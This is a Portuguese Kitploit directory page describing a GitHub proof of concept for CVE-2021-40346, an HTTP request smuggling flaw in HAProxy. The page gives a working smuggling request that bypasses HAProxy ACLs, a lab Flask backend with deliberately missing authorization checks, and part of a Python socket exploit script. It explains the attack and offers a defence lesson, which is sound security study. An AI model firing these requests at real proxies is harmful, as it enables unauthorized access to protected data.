Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2021-40346 — HTTP Request Smuggling | Kitploit
Ferramentas/GitHubGitHub/boianeduard/cve-2021-40346
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebSegurança WebTestes de PenetraçãoAprendizado e Educação
GitHubboianeduard/cve-2021-40346

CVE-2021-40346

HTTP Request Smuggling

Ver Repositório
1há 6 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2021-40346: HTTP Request Smuggling no HAProxy - Bypass de ACL

Visão Geral

Este projeto demonstra a CVE-2021-40346, uma vulnerabilidade crítica de integer overflow no HAProxy que permite ataques de HTTP Request Smuggling para contornar controles de segurança.

Pontuação CVSSv3: 7,5 (Alta)

Contribuidores:

  1. Boian Eduard
  2. Borsos Matheas-Roland

O que é CVE-2021-40346?

CVE-2021-40346 é uma vulnerabilidade de integer overflow na lógica de parsing de cabeçalhos HTTP do HAProxy. Quando um nome de cabeçalho excede 255 bytes, o valor de comprimento transborda de um campo de 8 bits, fazendo com que o HAProxy interprete incorretamente o cabeçalho durante o encaminhamento de requisições.

Como o Ataque Funciona

Detalhamento Passo a Passo

  1. Atacante envia: Nome do cabeçalho = "Content-Length0" + 255×'a' = 270 bytes

  2. Fase 1 (Parsing Inicial):

    • HAProxy lê todos os 270 bytes do nome do cabeçalho
    • Armazena name_length = 270 % 256 = 14 (overflow de 8 bits)
    • O bit de overflow define value_length = 1
    • Lê o cabeçalho legítimo Content-Length: 60 e o trata como comprimento do corpo
    • Lê 60 bytes como corpo da requisição (contendo a requisição contrabandeada)
  3. Fase 2 (Encaminhamento da Requisição):

    • Encontra o bloco de cabeçalho com overflow
    • Lê apenas os primeiros 14 caracteres: "Content-Length"
    • Lê 1 caractere para o valor (na posição 14): "0"
    • Adiciona content-length: 0 à requisição encaminhada
    • Ignora o cabeçalho real Content-Length: 60 (conforme lógica normal)
  4. Processamento do Backend:

    • Recebe content-length: 0 do HAProxy
    • Interpreta a requisição POST sem corpo
    • Trata o "corpo" (requisição GET contrabandeada) como a próxima requisição HTTP
    • Processa a requisição contrabandeada, contornando todas as ACLs do HAProxy

Exemplo de Fluxo de Ataque

Contornando Regras de ACL para Acessar Endpoint Admin

Considere o HAProxy configurado com regras de ACL que restringem o acesso a rotas de admin:

http-request deny if { path_beg /users/admin }

Em nosso PoC, usamos uma sessão de usuário comum (alice) para acessar o endpoint protegido /users/admin que deveria ser acessível apenas a administradores.

Requisição Maliciosa (Request 1 - Poison):

POST / HTTP/1.1
Host: 127.0.0.1:8080
Content-Length0aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa:
Content-Length: 78

GET /users/admin HTTP/1.1
Cookie: session=alice_session_token
DUMMY:

Requisição que o HAProxy Encaminha:

POST / HTTP/1.1
host: 127.0.0.1:8080
content-length: 0
x-forwarded-for: 192.168.188.1

GET /users/admin HTTP/1.1
Cookie: session=alice_session_token
DUMMY:

Requisição de Conclusão (Request 2):

GET / HTTP/1.1
Host: 127.0.0.1:8080

Requisição Contrabandeada Completa que o Backend Processa:

GET /users/admin HTTP/1.1
Cookie: session=alice_session_token
DUMMY:GET / HTTP/1.1
Host: 127.0.0.1:8080

Resultado:

  1. HAProxy encaminha POST / com content-length: 0 (ACL vê rota segura)
  2. Backend processa POST / (sem corpo) e aguarda próxima requisição
  3. Backend trata a requisição GET /users/admin contrabandeada e incompleta como pendente
  4. Request 2 completa a requisição contrabandeada
  5. Backend processa GET /users/admin com a sessão de alice, contornando a ACL do HAProxy
  6. Resposta contendo segredos de admin é retornada ao atacante

Prova de Conceito

Configuração do Ambiente de Teste

Configuração do HAProxy (haproxy.cfg)

A instância vulnerável do HAProxy é configurada com regras de ACL para proteger o endpoint admin:

...
    # ACL to detect admin endpoint access
    acl is_admin_endpoint path_beg /users/admin
    
    # ACL to check for admin session cookie
    acl has_admin_session cook(session) -m beg admin_
    
    # Deny access to admin endpoint if user doesn't have admin session
    http-request deny if is_admin_endpoint !has_admin_session
...

Pontos-Chave:

  • Proteção ACL: /users/admin é bloqueado a menos que o cookie de sessão comece com admin_
  • HTTP Keep-Alive (Padrão): HAProxy usa modo keep-alive por padrão, reutilizando conexões TCP para o backend – isso é crítico para o ataque pois permite múltiplas requisições na mesma conexão
  • Controle de Acesso Baseado em Sessão: Usuários comuns (sessão começando com user_) são negados

Servidor Backend (Flask)

O servidor backend possui três usuários e um endpoint admin:

USERS = [
    {'id': 1, 'username': 'alice', 'password': 'alice123', 'role': 'user'},
    {'id': 2, 'username': 'bob', 'password': 'bob456', 'role': 'user'},
    {'id': 3, 'username': 'admin', 'password': 'admin_secret', 'role': 'admin'},
]

@app.route('/login', methods=['POST'])
def login():
    # ... lógica de autenticação ...
    
    # Gera token de sessão com prefixo do papel
    prefix = 'admin_' if user['role'] == 'admin' else 'user_'
    token = prefix + secrets.token_hex(16)
    
    resp.set_cookie('session', token, httponly=True)
    return resp

@app.route('/users/admin', methods=['GET', 'POST'])
def users_admin():
    # Retorna dados sensíveis incluindo todas as senhas dos usuários
    rows = ''.join([
        f"{u['id']} | {u['username']} | {u['email']} | "
        f"{u['password']} | {u['role']}" 
        for u in USERS
    ])
    
    return f"ADMIN PANELAll users with passwords:{rows}"

Modelo de Segurança:

  • Alice (usuário comum) recebe sessão: user_a1b2c3d4...
  • Admin recebe sessão: admin_a1b2c3d4...
  • HAProxy bloqueia requisições de alice para /users/admin
  • Má Configuração do Backend: O servidor Flask confia cegamente que o HAProxy já aplicou o controle de acesso e não revalida o token de sessão nem verifica se o usuário é realmente admin antes de servir dados sensíveis
  • Vulnerabilidade: O HTTP smuggling contorna a verificação de ACL do HAProxy, e o backend não possui defesa em profundidade

Por que Isso Funciona:

  1. HAProxy vê a requisição externa POST / (permitida)
  2. HAProxy verifica ACLs em POST / (sem restrição de admin)
  3. HAProxy encaminha content-length: 0 (devido ao bug de overflow)
  4. Backend recebe requisição incompleta GET /users/admin
  5. Segunda requisição a completa, contornando a verificação de ACL do HAProxy
  6. Backend serve cegamente o endpoint admin – nunca verifica se o token de sessão é realmente de admin
  7. Backend processa GET /users/admin diretamente, revelando senhas

Lição de Defesa em Profundidade: Isso demonstra por que backends nunca devem confiar cegamente no proxy. Mesmo com as ACLs do HAProxy em vigor, o backend deve:

  • Processar e validar o próprio token de sessão
  • Verificar o papel/permissões do usuário antes de servir endpoints sensíveis
  • Implementar sua própria lógica de autorização (ex.: decorador @require_admin)

Confiar exclusivamente no controle de acesso em nível de proxy cria um ponto único de falha.

Principais Sequências de Exploração

O PoC demonstra o contorno das ACLs do HAProxy para acessar /users/admin usando a sessão de um usuário comum através de quatro etapas principais:

1. Autenticação como Usuário Comum

# Login como alice (usuário não-admin)
body = "username=alice&password=alice123"
login = f"POST /login HTTP/1.1\r\n" \
        f"Host: {TARGET}:{PORT}\r\n" \
        f"Content-Type: application/x-www-form-urlencoded\r\n" \
        f"Content-Length: {len(body)}\r\n\r\n{body}".encode()

sock = socket.socket()
sock.connect((TARGET, PORT))
sock.sendall(login)
time.sleep(0.5)

# Recebe resposta e extrai token de sessão
resp = b""
while True:
    chunk = sock.recv(4096)
    if not chunk:
        break
    resp += chunk
sock.close()
Baixar ferramenta